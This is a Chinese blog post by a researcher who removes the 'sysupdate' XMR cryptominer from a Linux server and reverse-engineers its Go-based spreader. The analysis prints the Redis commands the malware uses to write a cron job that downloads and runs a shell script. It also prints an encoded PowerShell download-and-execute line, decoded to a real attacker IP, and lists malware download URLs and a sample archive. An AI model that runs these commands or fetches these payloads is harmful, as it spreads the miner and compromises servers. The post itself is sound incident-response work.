舍友在宿舍喊着,这服务器好卡啊,难受啊!我调侃他是不是被挖矿了,top命令看一下CPU占用。
一看吓一跳,一个叫做sysupdate的进程占据了绝大部分的CPU资源。CPU使用率接近100%。
看来被挖矿是坐实了。
这个病毒还不是算很变态,很多挖矿病毒,使用top命令都看不到挖矿程序的进程。
基本可以确定这个占据绝大部分cpu资源的进程sysupdate,就是挖矿程序了,我们需要先找到他。
使用命令:
ps -aux | grep sysupdate
查看病毒的PID号。
为了获取绝对路径,使用:
ls -l /proc/{pid号}/exe
发现sysupdate的绝对路径在/etc/sysupdate。
下载下来,上传到VirusTotal。
如图所示,就是他,挖矿病毒没跑了。
首先干掉进程:kill -9 {pid号}
直接rm -f sysupdate会提示类似:
rm: cannot remove 'sysupdate ': Operation not permitted
基于经验,应该是病毒使用了chattr +i的命令。我们只要先执行chattr -i sysupdate,然后就可以正常删除了。
然后..很快就又被创建出来了。应该是有守护进程什么的。
而且如果我们简单分析一下sysupdate,其实他并不是病毒,他只是个XMR挖矿程序。
(懂我意思吧,我们必须得找到他爸爸)。
分析的方法,可以通过findStr、IDA等工具提串或者..运行一下就明白了。下图是我虚拟机运行的截图。
好,我知道大家都不关心这个。
我是先去看了下日志..发现什么都没有Orz,应该是被清了。
那还是先来检查下定时任务吧:
crontab -l或者cat /var/spool/cron/root
还可以去查看定时任务的日志。
more /var/log/cron log
太多的话,可以在后面加上| grep -v {要排除的关键字}来排除无用信息。
找到了这个定时执行的源头,我们来简单分析一下。update.sh的内容和相关样本在文末有提供下载。
在/etc下下载了config.json(挖矿配置)、sysupdate(XMR挖矿软件)、update.sh(本脚本)、networkservice(scanner 扫描并入侵其他的主机)、sysguard(watchdog 用于监控并保证病毒的正常运行以及更新)并保证他们以root权限运行。
干掉别的挖矿病毒(见killminerproc函数)。
创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,算是个后门吧。
然后就是添加定时任务,为文件添加chattr +i,修改IPTABLES,清楚日志,关闭SELinux等等。
1.rm /var/spool/cron/root或者 crontab -r删除定时任务。
2.kill命令将相关进程干掉,用chattr -i和rm命令,将上述/etc下的文件全部删除。
3./root/.ssh/authorized_keys也删掉或者修复。
至于IPTABLES、SELinux的恢复,就看大家自己的需求了。
查壳是UPX,直接使用upx -d就能脱壳了。
IDA打开发现结构很乱,Shift+F7打开Program Segmentation。
看到.gopclntab,基本就可以确定是golang编写的。我们这里使用IDAGolangHelper来帮助恢复符号信息。
从Github下载下来后,将脚本拷贝到IDA目录的python文件夹下,重启IDA,菜单选择File-Script Command..导入go_entry.py并运行。
PS:这里IDA7.0可能会遇到idc_bc695.py文件的MakeStr报错,这里给出看雪的解决办法。
如图所示,前两个按钮是用于检测Go语言的版本,输出在Output window内。我们这里选择Go1.10。然后按下剩下全部按钮进行修复~
再次看Functions window就舒服多了。不过字符串还是看着非常非常难受,因为Golang的字符串是堆成一坨的,用的时候通过偏移以及长度取。IDA没法很好的识别,只能自己从偏移处选定指定长度再按下A键进行标注。如果大佬们有更好的方式或者脚本,请务必赐教。
我们接下来就可以从main_main函数开始看,整个程序的大概流程。
1.首先会去hxxps://pixeldra.in/api/download/I9RRye下载ips_cn.txt并保存为dkelc。
2.ips_cn.txt的内容实际上就是大量的国内ip段的十进制表示,为之后的扫描入侵做准备。
程序内包含了大量的exploit。基本都是RCE即远程命令执行,下表做了部分列举:
Redis未授权RCE | Hadoop未授权RCE | Drupal CVE-2018-7600 |
---|---|---|
ElasticSearch CVE-2015-1427 | ElasticSearch CVE-2014-3120 | Redis爆破模块 |
Spring CVE-2018-1273 | Sqlserver Exploit模块 | ThinkPHP5 RCE |
Weblogic CVE-2017-10271 |
以Redis未授权漏洞为例作分析,首先会去尝试空口令和弱口令爆破,如果成功连接。
首先设置Redis的stop-writes-on-bgsave-error为no。执行Redis命令FlushAll清空数据表。
设置dbfilename为Root,即设置持久化文件名为root,对应的Redis命令为:
config set dbfilename root
紧接着设置dir到定时任务目录/var/spool/cron,对应Redis命令为
config set dir "/var/spool/cron"
执行完上面的命令后,Redis之后的数据就会保存到/var/spool/cron/root,即Root用户的定时任务文件里。
紧接着拼接curl下载并执行远程shell的语句,并调用Save写入文件中。
作者叫他是Watchdog,主要功能就是监控自己的各程序,定时任务等是否启动正常。不知道和网上的watchdogs挖矿病毒有没有联系。
在分析过程中,发现不仅仅有Linux版,还有Windows版。
对于windows,会去执行下面的命令:
powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==
base64解密为:
iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')
即下载执行update.ps1,没什么新意,火绒就可以查杀拦截:
windows版的下载地址如下,因为是Go语言编写的,其实内容都是大同小异的:
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exe |
---|
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exe |
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exe |
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1 |
https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
*本文原创作者:xuing,本文属于FreeBuf原创奖励计划,未经许可禁止转载